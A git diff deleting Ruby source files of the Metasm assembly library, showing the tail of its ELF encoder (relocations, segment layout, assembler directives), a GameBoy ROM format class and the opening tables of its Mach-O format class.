rel ||= section.encoded.reloc[off] - if rel.endianness != @endianness or not [:u32, :i32, :a32].include? rel.type - puts "ELF: 386_create_reloc: ignoring reloc #{rel.target} in #{section.name}: bad reloc type" if $VERBOSE - return - end - startaddr = label_at(@encoded, 0) - r = Relocation.new - r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off] - if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) - # this location is relative to the base load address of the ELF - r.type = 'RELATIVE' - else - et = rel.target.externals - extern = et.find_all { |name| not binding[name] } - if extern.length != 1 - puts "ELF: 386_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE - return - end - if not sym = @symbols.find { |s| s.name == extern.first } - puts "ELF: 386_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE - return - end - r.symbol = sym - rel.target = Expression[rel.target, :-, sym.name] - if rel.target.bind(binding).reduce.kind_of? ::Integer - r.type = '32' - elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer - rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off] - r.type = 'PC32' - # TODO tls ? - else - puts "ELF: 386_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE - return - end - end - @relocations << r - end - - def arch_x86_64_create_reloc(section, off, binding, rel=nil) - rel ||= section.encoded.reloc[off] - if rel.endianness != @endianness or not rel.type.to_s =~ /^[aiu](32|64)$/ - puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: bad reloc type" if $VERBOSE - return - end - startaddr = label_at(@encoded, 0) - r = RelocationAddend.new - r.addend = 0 - r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off] - if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) - # this location is relative to the base load address of the ELF - if rel.length != 8 - puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: relative non-x64" if $VERBOSE - return - end - r.type = 'RELATIVE' - else - et = rel.target.externals - extern = et.find_all { |name| not binding[name] } - if extern.length != 1 - puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE - return - end - if not sym = @symbols.find { |s| s.name == extern.first } - puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE - return - end - r.symbol = sym - rel.target = Expression[rel.target, :-, sym.name] - if rel.target.bind(binding).reduce.kind_of? ::Integer - r.type = '64' # XXX check that - elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer - rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off] - r.type = 'PC32' # XXX - # TODO tls ? - else - puts "ELF: x86_64_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE - return - end - end - r.addend = Expression[rel.target] - #section.encoded.reloc.delete off - @relocations << r - end - - def arch_mips_create_reloc(section, off, binding, rel=nil) - rel ||= section.encoded.reloc[off] - startaddr = label_at(@encoded, 0) - r = Relocation.new - r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off] - if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) - # this location is relative to the base load address of the ELF - r.type = 'REL32' - else - et = rel.target.externals - extern = et.find_all { |name| not binding[name] } - if extern.length != 1 - puts "ELF: mips_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE - return - end - if not sym = @symbols.find { |s| s.name == extern.first } - puts "ELF: mips_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE - return - end - r.symbol = sym - if Expression[rel.target, :-, sym.name].bind(binding).reduce.kind_of?(::Integer) - rel.target = Expression[rel.target, :-, sym.name] - r.type = '32' - elsif Expression[rel.target, :&, 0xffff0000].reduce.kind_of?(::Integer) - lo = Expression[rel.target, :&, 0xffff].reduce - lo = lo.lexpr if lo.kind_of?(Expression) and lo.op == :& and lo.rexpr == 0xffff - if lo.kind_of?(Expression) and lo.op == :>> and lo.rexpr == 16 - r.type = 'HI16' - rel.target = Expression[rel.target, :&, 0xffff0000] - # XXX offset ? - elsif lo.kind_of?(String) or (lo.kind_of(Expression) and lo.op == :+) - r.type = 'LO16' - rel.target = Expression[rel.target, :&, 0xffff0000] - # XXX offset ? - else - puts "ELF: mips_create_reloc: ignoring reloc #{lo}: cannot find matching 16 reloc type" if $VERBOSE - return - end - #elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer - # rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off] - # r.type = 'PC32' - else - puts "ELF: mips_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE - return - end - end - @relocations << r - end - - # resets the fields of the elf headers that should be recalculated, eg phdr offset - def invalidate_header - @header.shoff = @header.shnum = nil - @header.phoff = @header.phnum = nil - @header.shstrndx = nil - @sections.to_a.each { |s| - s.name_p = nil - s.offset = nil - } - @segments.to_a.each { |s| - s.offset = nil - } - self - end - - # put every ALLOC section in a segment, create segments if needed - # sections with a good offset within a segment are ignored - def encode_make_segments_from_sections - # fixed addresses first - seclist = @sections.find_all { |sec| sec.addr.kind_of? Integer }.sort_by { |sec| sec.addr } | @sections - seclist.each { |sec| - next if not sec.flags.to_a.include? 'ALLOC' - - # check if we fit in an existing segment - loadsegs = @segments.find_all { |seg_| seg_.type == 'LOAD' } - - if sec.addr.kind_of?(::Integer) and seg = loadsegs.find { |seg_| - seg_.vaddr.kind_of?(::Integer) and seg_.vaddr <= sec.addr and seg_.vaddr + seg_.memsz >= sec.addr + sec.size - } - # sections is already inside a segment: we're reencoding an ELF, just patch the section in the segment - seg.encoded[sec.addr - seg.vaddr, sec.size] = sec.encoded if sec.encoded - next - end - - if not seg = loadsegs.find { |seg_| - sec.flags.to_a.include?('WRITE') == seg_.flags.to_a.include?('W') and - #sec.flags.to_a.include?('EXECINSTR') == seg_.flags.to_a.include?('X') and - not seg_.memsz and - not loadsegs[loadsegs.index(seg_)+1..-1].find { |sseg| - # check if another segment would overlap if we add the sec to seg_ - o = Expression[sseg.vaddr, :-, [seg_.vaddr, :+, seg_.encoded.length+sec.encoded.length]].reduce - o.kind_of? ::Integer and o < 0 - } - } - # nope, create a new one - seg = Segment.new - seg.type = 'LOAD' - seg.flags = ['R'] - seg.flags << 'W' if sec.flags.include? 'WRITE' - seg.align = 0x1000 - seg.encoded = EncodedData.new - seg.offset = new_label('segment_offset') - seg.vaddr = sec.addr || new_label('segment_address') - @segments << seg - end - seg.flags |= ['X'] if sec.flags.include? 'EXECINSTR' - seg.encoded.align sec.addralign if sec.addralign - sec.addr = Expression[seg.vaddr, :+, seg.encoded.length] - sec.offset = Expression[seg.offset, :+, seg.encoded.length] - seg.encoded << sec.encoded - } - end - - # create the relocations from the sections.encoded.reloc - # create the dynamic sections - # put sections/phdr in PT_LOAD segments - # link - # TODO support mapped PHDR, obey section-specified base address, handle NOBITS - # encode ET_REL - def encode(type='DYN') - @header.type ||= {:bin => 'EXEC', :lib => 'DYN', :obj => 'REL'}.fetch(type, type) - @header.machine ||= case @cpu.shortname - when 'x64'; 'X86_64' - when 'ia32'; '386' - when 'mips'; 'MIPS' - when 'powerpc'; 'PPC' - when 'arm'; 'ARM' - end - - if @header.type == 'REL' - encode_rel - else - encode_elf - end - end - - def encode_elf - @encoded = EncodedData.new - if @header.type != 'EXEC' or @segments.find { |i| i.type == 'INTERP' } - # create a .dynamic section unless we are an ET_EXEC with .nointerp - automagic_symbols - create_relocations - encode_segments_dynamic - end - - @segments.delete_if { |s| s.type == 'INTERP' } if not @header.entry - - encode_make_segments_from_sections - - loadsegs = @segments.find_all { |seg_| seg_.type == 'LOAD' } - - # ensure PT_INTERP is mapped if present - if interp = @segments.find { |i| i.type == 'INTERP' } - if not seg = loadsegs.find { |seg_| not seg_.memsz and interp.flags & seg_.flags == interp.flags and - not loadsegs[loadsegs.index(seg_)+1..-1].find { |sseg| - o = Expression[sseg.vaddr, :-, [seg_.vaddr, :+, seg_.encoded.length+interp.encoded.length]].reduce - o.kind_of? ::Integer and o < 0 - } - } - seg = Segment.new - seg.type = 'LOAD' - seg.flags = interp.flags.dup - seg.align = 0x1000 - seg.encoded = EncodedData.new - seg.offset = new_label('segment_offset') - seg.vaddr = new_label('segment_address') - loadsegs << seg - @segments << seg - end - interp.vaddr = Expression[seg.vaddr, :+, seg.encoded.length] - interp.offset = Expression[seg.offset, :+, seg.encoded.length] - seg.encoded << interp.encoded - interp.encoded = nil - end - - # ensure last PT_LOAD is writeable (used for bss) - seg = loadsegs.last - if not seg or not seg.flags.include? 'W' - seg = Segment.new - seg.type = 'LOAD' - seg.flags = ['R', 'W'] - seg.encoded = EncodedData.new - loadsegs << seg - @segments << seg - end - - # add dynamic segment - if ds = @sections.find { |sec| sec.type == 'DYNAMIC' } and ds.encoded.length > 1 - ds.set_default_values self - seg = Segment.new - seg.type = 'DYNAMIC' - seg.flags = ['R', 'W'] - seg.offset = ds.offset - seg.vaddr = ds.addr - seg.memsz = seg.filesz = ds.size - @segments << seg - end - - # use variables in the first segment descriptor, to allow fixup later - # (when we'll be able to include the program header) - if first_seg = loadsegs.first - first_seg_oaddr = first_seg.vaddr # section's vaddr depend on oaddr - first_seg_off = first_seg.offset - first_seg.vaddr = new_label('segvaddr') - first_seg.offset = new_label('segoff') - first_seg.memsz = new_label('segmemsz') - first_seg.filesz = new_label('segfilsz') - end - - if first_seg and not @segments.find { |seg_| seg_.type == 'PHDR' } - phdr = Segment.new - phdr.type = 'PHDR' - phdr.flags = first_seg.flags - phdr.offset = new_label('segoff') - phdr.vaddr = new_label('segvaddr') - phdr.filesz = phdr.memsz = new_label('segmemsz') - @segments.unshift phdr - end - - # encode section&program headers - if @header.shnum != 0 - st = @sections.inject(EncodedData.new) { |edata, s| edata << s.encode(self) } - else - @header.shoff = @header.shnum = @header.shstrndx = 0 - end - pt = @segments.inject(EncodedData.new) { |edata, s| edata << s.encode(self) } - - binding = {} - @encoded << @header.encode(self) - @encoded.align 8 - binding[@header.phoff] = @encoded.length - if phdr - binding[phdr.offset] = @encoded.length - pt.add_export phdr.vaddr, 0 - binding[phdr.memsz] = pt.length - end - @encoded << pt - @encoded.align 8 - - if first_seg - # put headers into the 1st mmaped segment - if first_seg_oaddr.kind_of? ::Integer - # pad headers to align the 1st segment's data - @encoded.virtsize += (first_seg_oaddr - @encoded.virtsize) & 0xfff - addr = first_seg_oaddr - @encoded.length - else - addr = ((@header.type == 'EXEC') ? 0x08048000 : 0) - binding[first_seg_oaddr] = addr + @encoded.length - end - binding[first_seg_off] = @encoded.length if not first_seg_off.kind_of? ::Integer - first_seg.encoded = @encoded << first_seg.encoded - @encoded = EncodedData.new - binding[first_seg.memsz] = first_seg.encoded.virtsize if not first_seg.memsz.kind_of? ::Integer - binding[first_seg.filesz] = first_seg.encoded.rawsize if not first_seg.filesz.kind_of? ::Integer - end - - @segments.each { |seg_| - next if not seg_.encoded - if seg_.vaddr.kind_of? ::Integer - raise "cannot put segment at address #{Expression[seg_.vaddr]} (now at #{Expression[addr]})" if seg_.vaddr < addr - addr = seg_.vaddr - else - binding[seg_.vaddr] = addr - end - # ensure seg_.vaddr & page_size == seg_.offset & page_size - @encoded.virtsize += (addr - @encoded.virtsize) & 0xfff - binding.update seg_.encoded.binding(addr) - binding[seg_.offset] = @encoded.length - seg_.encoded.align 8 - @encoded << seg_.encoded[0, seg_.encoded.rawsize] - addr += seg_.encoded.length - - # page break for memory permission enforcement - if @segments[@segments.index(seg_)+1..-1].find { |seg__| seg__.encoded and seg__.vaddr.kind_of? ::Integer } - addr += 0x1000 - (addr & 0xfff) if addr & 0xfff != 0 # minimize memory size - else - addr += 0x1000 # minimize file size - end - } - - binding[@header.shoff] = @encoded.length if st - @encoded << st - @encoded.align 8 - - @sections.each { |sec| - next if not sec.encoded or sec.flags.include? 'ALLOC' # already in a segment.encoded - binding[sec.offset] = @encoded.length - binding.update sec.encoded.binding - @encoded << sec.encoded - @encoded.align 8 - } - - @encoded.fixup! binding - @encoded.data - end - - def encode_rel - @encoded = EncodedData.new - automagic_symbols - create_relocations - - @header.phoff = @header.phnum = @header.phentsize = 0 - @header.entry = 0 - @sections.each { |sec| sec.addr = 0 } - st = @sections.inject(EncodedData.new) { |edata, sec| edata << sec.encode(self) } - - binding = {} - @encoded << @header.encode(self) - @encoded.align 8 - - binding[@header.shoff] = @encoded.length - @encoded << st - @encoded.align 8 - - @sections.each { |sec| - next if not sec.encoded - binding[sec.offset] = @encoded.length - sec.encoded.fixup sec.encoded.binding - @encoded << sec.encoded - @encoded.align 8 - } - - @encoded.fixup! binding - @encoded.data - end - - def parse_init - # allow the user to specify a section, falls back to .text if none specified - if not defined? @cursource or not @cursource - @cursource = Object.new - class << @cursource - attr_accessor :elf - def <<(*a) - t = Preprocessor::Token.new(nil) - t.raw = '.text' - elf.parse_parser_instruction t - elf.cursource.send(:<<, *a) - end - end - @cursource.elf = self - end - - @segments.delete_if { |s| s.type == 'INTERP' } - seg = Segment.new - seg.type = 'INTERP' - seg.encoded = EncodedData.new << (@bitsize == 64 ? DEFAULT_INTERP64 : DEFAULT_INTERP) << 0 - seg.flags = ['R'] - seg.memsz = seg.filesz = seg.encoded.length - @segments.unshift seg - - @source ||= {} - super() - end - - # handles elf meta-instructions - # - # syntax: - # .section "<name>" [<perms>] [base=<base>] - # change current section (where normal instruction/data are put) - # perms = list of 'w' 'x' 'alloc', may be prefixed by 'no' - # 'r' ignored - # defaults to 'alloc' - # shortcuts: .text .data .rodata .bss - # base: immediate expression representing the section base address - # .entrypoint [<label>] - # defines the program entrypoint to the specified label / current location - # .global "<name>" [<label>] [<label_end>] [type=<FUNC|OBJECT|...>] [plt=<plt_label_name>] [undef] - # .weak ... - # .local ... - # builds a symbol with specified type/scope/size, type defaults to 'func' - # if plt_label_name is specified, the compiler will build an entry in the plt for this symbol, with this label (PIC & on-demand resolution) - # XXX plt ignored (automagic) - # .symbol [global|weak|local] "<name>" ... see .global/.weak/.local - # .needed "<libpath>" - # marks the elf as requiring the specified library (DT_NEEDED) - # .soname "<soname>" - # defines the current elf DT_SONAME (exported library name) - # .interp "<interpreter_path>" - # .nointerp - # defines the required ELF interpreter - # defaults to '/lib/ld.so' - # 'nil'/'none' remove the interpreter specification - # .pt_gnu_stack rw|rwx - # defines the PT_GNU_STACK flag (default: unspecified, => rwx) - # .init/.fini [<label>] - # defines the DT_INIT/DT_FINI dynamic tags, same semantic as .entrypoint - # .init_array/.fini_array/.preinit_array <label> [, <label>]* - # append to the DT_*_ARRAYs - # - def parse_parser_instruction(instr) - readstr = lambda { - @lexer.skip_space - t = nil - raise instr, "string expected, found #{t.raw.inspect if t}" if not t = @lexer.readtok or (t.type != :string and t.type != :quoted) - t.value || t.raw - } - check_eol = lambda { - @lexer.skip_space - t = nil - raise instr, "eol expected, found #{t.raw.inspect if t}" if t = @lexer.nexttok and t.type != :eol - } - - case instr.raw.downcase - when '.text', '.data', '.rodata', '.bss' - sname = instr.raw.downcase - if not @sections.find { |s| s.name == sname } - s = Section.new - s.name = sname - s.type = 'PROGBITS' - s.encoded = EncodedData.new - s.flags = case sname - when '.text'; %w[ALLOC EXECINSTR] - when '.data', '.bss'; %w[ALLOC WRITE] - when '.rodata'; %w[ALLOC] - end - s.addralign = 8 - encode_add_section s - end - @cursource = @source[sname] ||= [] - check_eol[] if instr.backtrace # special case for magic @cursource - - when '.section' - # .section <section name|"section name"> [(no)wxalloc] [base=<expr>] - sname = readstr[] - if not s = @sections.find { |s_| s_.name == sname } - s = Section.new - s.type = 'PROGBITS' - s.name = sname - s.encoded = EncodedData.new - s.flags = ['ALLOC'] - @sections << s - end - loop do - @lexer.skip_space - break if not tok = @lexer.nexttok or tok.type != :string - case @lexer.readtok.raw.downcase - when /^(no)?r?(w)?(x)?(alloc)?$/ - ar = [] - ar << 'WRITE' if $2 - ar << 'EXECINSTR' if $3 - ar << 'ALLOC' if $4 - if $1; s.flags -= ar - else s.flags |= ar - end - when 'base' - @lexer.skip_space - @lexer.readtok if tok = @lexer.nexttok and tok.type == :punct and tok.raw == '=' - raise instr, 'bad section base' if not s.addr = Expression.parse(@lexer).reduce or not s.addr.kind_of? ::Integer - else raise instr, 'unknown specifier' - end - end - @cursource = @source[sname] ||= [] - check_eol[] - - when '.entrypoint' - # ".entrypoint <somelabel/expression>" or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @header.entry = entrypoint - check_eol[] - - when '.global', '.weak', '.local', '.symbol' - if instr.raw == '.symbol' - bind = readstr[] - else - bind = instr.raw[1..-1] - end - - s = Symbol.new - s.name = readstr[] - s.type = 'FUNC' - s.bind = bind.upcase - # define s.section ? should check the section exporting s.target, but it may not be defined now - - # parse pseudo instruction arguments - loop do - @lexer.skip_space - ntok = @lexer.readtok - if not ntok or ntok.type == :eol - @lexer.unreadtok ntok - break - end - raise instr, "syntax error: string expected, found #{ntok.raw.inspect}" if ntok.type != :string - case ntok.raw - when 'undef' - s.shndx = 'UNDEF' - when 'plt' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: = expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :punct or ntok.raw != '=' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: label expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :string - s.thunk = ntok.raw - when 'type' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: = expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :punct or ntok.raw != '=' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: symbol type expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :string or not SYMBOL_TYPE.index(ntok.raw) - s.type = ntok.raw - when 'size' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: = expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :punct or ntok.raw != '=' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: symbol size expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :string or not ntok.raw =~ /^\d+$/ - s.size = ntok.raw.to_i - else - if not s.value - s.value = ntok.raw - elsif not s.size - s.size = Expression[ntok.raw, :-, s.value] - else - raise instr, "syntax error: eol expected, found #{ntok.raw.inspect}" - end - end - end - s.value ||= s.name if not s.shndx and not s.thunk - s.shndx ||= 1 if s.value - @symbols << s - - when '.needed' - # a required library - (@tag['NEEDED'] ||= []) << readstr[] - check_eol[] - - when '.soname' - # exported library name - @tag['SONAME'] = readstr[] - check_eol[] - @segments.delete_if { |s_| s_.type == 'INTERP' } - @header.type = 'DYN' - - when '.interp', '.nointerp' - # required ELF interpreter - interp = ((instr.raw == '.nointerp') ? 'nil' : readstr[]) - - @segments.delete_if { |s_| s_.type == 'INTERP' } - case interp.downcase - when 'nil', 'no', 'none' - @header.shnum = 0 - else - seg = Segment.new - seg.type = 'INTERP' - seg.encoded = EncodedData.new << interp << 0 - seg.flags = ['R'] - seg.memsz = seg.filesz = seg.encoded.length - @segments.unshift seg - end - - check_eol[] - - when '.pt_gnu_stack' - # PT_GNU_STACK marking - mode = readstr[] - - @segments.delete_if { |s_| s_.type == 'GNU_STACK' } - s = Segment.new - s.type = 'GNU_STACK' - case mode - when /^rw$/i; s.flags = %w[R W] - when /^rwx$/i; s.flags = %w[R W X] - else raise instr, "syntax error: expected rw|rwx, found #{mode.inspect}" - end - @segments << s - - when '.init', '.fini' - # dynamic tag initialization - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr, 'syntax error' if not init = Expression.parse(@lexer) - else - init = new_label(instr.raw[1..-1]) - @cursource << Label.new(init, instr.backtrace.dup) - end - @tag[instr.raw[1..-1].upcase] = init - check_eol[] - - when '.init_array', '.fini_array', '.preinit_array' - t = @tag[instr.raw[1..-1].upcase] ||= [] - loop do - raise instr, 'syntax error' if not e = Expression.parse(@lexer) - t << e - @lexer.skip_space - ntok = @lexer.nexttok - break if not ntok or ntok.type == :eol - raise instr, "syntax error, ',' expected, found #{ntok.raw.inspect}" if nttok != :punct or ntok.raw != ',' - @lexer.readtok - end - - else super(instr) - end - end - - # assembles the hash self.source to a section array - def assemble(*a) - parse(*a) if not a.empty? - @source.each { |k, v| - raise "no section named #{k} ?" if not s = @sections.find { |s_| s_.name == k } - s.encoded << assemble_sequence(v, @cpu) - v.clear - } - end - - def encode_file(path, *a) - ret = super(path, *a) - File.chmod(0755, path) if @header.entry and @header.entry != 0 - ret - end - - # defines __ELF__ - def tune_prepro(l) - l.define_weak('__ELF__', 1) - end - - # set the data model - def tune_cparser(cp) - super(cp) - cp.lp64 if @cpu.size == 64 - end - - # handles C attributes: export, export_as(foo), import, import_from(libc.so.6), init, fini, entrypoint - def read_c_attrs(cp) - cp.toplevel.symbol.each_value { |v| - next if not v.kind_of? C::Variable - if v.has_attribute 'export' or ea = v.has_attribute_var('export_as') - s = Symbol.new - s.name = ea || v.name - s.type = v.type.kind_of?(C::Function) ? 'FUNC' : 'NOTYPE' - s.bind = 'GLOBAL' - s.shndx = 1 - s.value = v.name - @symbols << s - end - if v.has_attribute 'import' or ln = v.has_attribute_var('import_from') - (@tag['NEEDED'] ||= []) << ln if ln and not @tag['NEEDED'].to_a.include? ln - s = Symbol.new - s.name = v.name - s.type = v.type.kind_of?(C::Function) ? 'FUNC' : 'NOTYPE' - s.bind = 'GLOBAL' - s.shndx = 'UNDEF' - @symbols << s - end - if v.has_attribute('init') or v.has_attribute('constructor') - (@tag['INIT_ARRAY'] ||= []) << v.name - end - if v.has_attribute('fini') or v.has_attribute('destructor') - (@tag['FINI_ARRAY'] ||= []) << v.name - end - if v.has_attribute 'entrypoint' - @header.entry = v.name - end - } - end - - def c_set_default_entrypoint - return if @header.entry - if @sections.find { |s| s.encoded and s.encoded.export['_start'] } - @header.entry = '_start' - elsif @sections.find { |s| s.encoded and s.encoded.export['main'] } - # entrypoint stack: [sp] = argc, [sp+1] = argv0, [sp+2] = argv1, [sp+argc+1] = 0, [sp+argc+2] = envp0, etc - case @cpu.shortname - when 'ia32'; assemble <<EOS -_start: -mov eax, [esp] -lea ecx, [esp+4+4*eax+4] -push ecx -lea ecx, [esp+4+4] -push ecx -push eax -call main -push eax -call _exit -EOS - when 'x64'; assemble <<EOS -_start: -mov rdi, [rsp] -lea rsi, [rsp+8] -lea rdx, [rsi+8*rdi+8] -call main -mov rdi, rax -call _exit -EOS - else compile_c <<EOS -void _exit(int); -int main(int, char**, char**); -void _start(void) { - _exit(main(0, 0, 0)); -} -EOS - end - @header.entry = '_start' - end - end -end -end - -__END__ -elf.assemble Ia32.new, <<EOS -.text ; @sections << Section.new('.text', ['r' 'x']) -.global "foo" foo foo_end ; @symbols ||= [0] << Symbol.new(global, '.foo', addr=foo, size=foo_end - foo) -.global "bla" plt=bla_plt -.needed 'libc.so.6' ; @tag['NEEDED'] ||= [] << 'libc.so.6' -.soname 'lolol' ; @tag['SONAME'] = 'lolol' -.interp nil ; @segments.delete_if { |s| s.type == 'INTERP' } ; @sections.delete_if { |s| s.name == '.interp' && vaddr = seg.vaddr etc } - -foo: - inc eax - call bla_plt - ret -foo_end: -EOS diff --git a/lib/metasm/metasm/exe_format/gb.rb b/lib/metasm/metasm/exe_format/gb.rb deleted file mode 100644 index c6b39d182e..0000000000 --- a/lib/metasm/metasm/exe_format/gb.rb +++ /dev/null @@ -1,65 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - - -module Metasm -# GameBoy ROM file format -class GameBoyRom < ExeFormat - class Header < SerialStruct - # starts at 0x104 in the file - mem :logo, 0x30 - str :title, 0x10 - byte :sgb_flag - byte :cartridge_type - byte :rom_size # n => (n+1) * 32k bytes - byte :ram_size - byte :destination_code - byte :old_licensee_code - byte :mask_rom_version - byte :header_checksum - byte :checksum_hi - byte :checksum_lo - end - - def encode_byte(val) Expression[val].encode(:u8, @endianness) end - def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end - def sizeof_byte ; 1 ; end - - - attr_accessor :header - - def initialize(cpu=nil) - @endianness = (cpu ? cpu.endianness : :little) - super(cpu) - end - - def decode_header - @encoded.ptr = 0x104 - @header = Header.decode(self) - end - - def decode - decode_header - @encoded.add_export('entrypoint', 0x100) - end - - def cpu_from_headers - Z80.new('gb') - end - - def each_section - yield @encoded, 0 - end - - def get_default_entrypoints - ['entrypoint'] - end -end -end diff --git a/lib/metasm/metasm/exe_format/macho.rb b/lib/metasm/metasm/exe_format/macho.rb deleted file mode 100644 index 21c21b37d9..0000000000 --- a/lib/metasm/metasm/exe_format/macho.rb +++ /dev/null @@ -1,1015 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - -module Metasm -class MachO < ExeFormat - MAGIC = "\xfe\xed\xfa\xce" # 0xfeedface - CIGAM = MAGIC.reverse # 0xcefaedfe - MAGIC64 = "\xfe\xed\xfa\xcf" # 0xfeedfacf - CIGAM64 = MAGIC64.reverse # 0xcffaedfe - - MAGICS = [MAGIC, CIGAM, MAGIC64, CIGAM64] - - # "a" != "a" lolz! - MAGICS.each { |s| s.force_encoding('BINARY') } if MAGIC.respond_to?(:force_encoding) - - CPU = { - 1 => 'VAX', 2 => 'ROMP', - 4 => 'NS32032', 5 => 'NS32332', - 6 => 'MC680x0', 7 => 'I386', - 8 => 'MIPS', 9 => 'NS32532', - 11 => 'HPPA', 12 => 'ARM', - 13 => 'MC88000', 14 => 'SPARC', - 15 => 'I860', 16 => 'I860_LITTLE', - 17 => 'RS6000', 18 => 'POWERPC', - #0x100_0000 => 'CPU_ARCH_ABI64', - 0x100_0000|7 => 'X86_64', - 0x100_0000|18 => 'POWERPC64', - 255 => 'VEO', - 0xffff_ffff => 'ANY', - } - - SUBCPU = { - 'VAX' => { 0 => 'ALL', - 1 => '780', 2 => '785', 3 => '750', 4 => '730', - 5 => 'UVAXI', 6 => 'UVAXII', 7 => '8200', 8 => '8500', - 9 => '8600', 10 => '8650', 11 => '8800', 12 => 'UVAXIII', - }, - 'ROMP' => { 0 => 'ALL', 1 => 'PC', 2 => 'APC', 3 => '135', - 0 => 'MMAX_ALL', 1 => 'MMAX_DPC', 2 => 'SQT', - 3 => 'MMAX_APC_FPU', 4 => 'MMAX_APC_FPA', 5 => 'MMAX_XPC', - }, - 'I386' => { 3 => 'ALL', 4 => '486', 4+128 => '486SX', - 0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4', - 5 => 'PENT', 0x16 => 'PENTPRO', 0x36 => 'PENTII_M3', 0x56 => 'PENTII_M5', - }, - 'MIPS' => { 0 => 'ALL', 1 => 'R2300', 2 => 'R2600', 3 => 'R2800', 4 => 'R2000a', }, - 'MC680x0' => { 1 => 'ALL', 2 => 'MC68040', 3 => 'MC68030_ONLY', }, - 'HPPA' => { 0 => 'ALL', 1 => '7100LC', }, - 'ARM' => { 0 => 'ALL', 1 => 'A500_ARCH', 2 => 'A500', 3 => 'A440', - 4 => 'M4', 5 => 'A680', 6 => 'ARMV6', 9 => 'ARMV7', - 11 => 'ARMV7S', - }, - 'MC88000' => { 0 => 'ALL', 1 => 'MC88100', 2 => 'MC88110', }, - :wtf => { 0 => 'MC98000_ALL', 1 => 'MC98601', }, - 'I860' => { 0 => 'ALL', 1 => '860', }, - 'RS6000' => { 0 => 'ALL', 1 => 'RS6000', }, - :wtf2 => { 0 => 'SUN4_ALL', 1 => 'SUN4_260', 2 => 'SUN4_110', }, - 'SPARC' => { 0 => 'SPARC_ALL', }, - 'POWERPC' => { 0 => 'ALL', 1 => '601', 2 => '602', 3 => '603', 4 => '603e', - 5 => '603ev', 6 => '604', 7 => '604e', 8 => '620', - 9 => '750', 10 => '7400', 11 => '7450', 100 => '970', - }, - 'VEO' => { 1 => 'VEO_1', 2 => 'VEO_ALL', }, - } - SUBCPU['POWERPC64'] = SUBCPU['POWERPC'].dup - SUBCPU['X86_64'] = SUBCPU['I386'].dup - - SUBCPUFLAG = { 0x80 => 'LIB64' } - - - FILETYPE = { - 1 => 'OBJECT', 2 => 'EXECUTE', 3 => 'FVMLIB', - 4 => 'CORE', 5 => 'PRELOAD', 6 => 'DYLIB', - 7 => 'DYLINKER', 8 => 'BUNDLE', 9 => 'DYLIB_STUB', - } - - FLAGS = { - 0x1 => 'NOUNDEFS', 0x2 => 'INCRLINK', 0x4 => 'DYLDLINK', 0x8 => 'BINDATLOAD', - 0x10 => 'PREBOUND', 0x20 => 'SPLIT_SEGS', 0x40 => 'LAZY_INIT', 0x80 => 'TWOLEVEL', - 0x100 => 'FORCE_FLAT', 0x200 => 'NOMULTIDEFS', 0x400 => 'NOFIXPREBINDING', 0x800 => 'PREBINDABLE', - 0x1000 => 'ALLMODSBOUND', 0x2000 => 'SUBSECTIONS_VIA_SYMBOLS', 0x4000 => 'CANONICAL', 0x8000 => 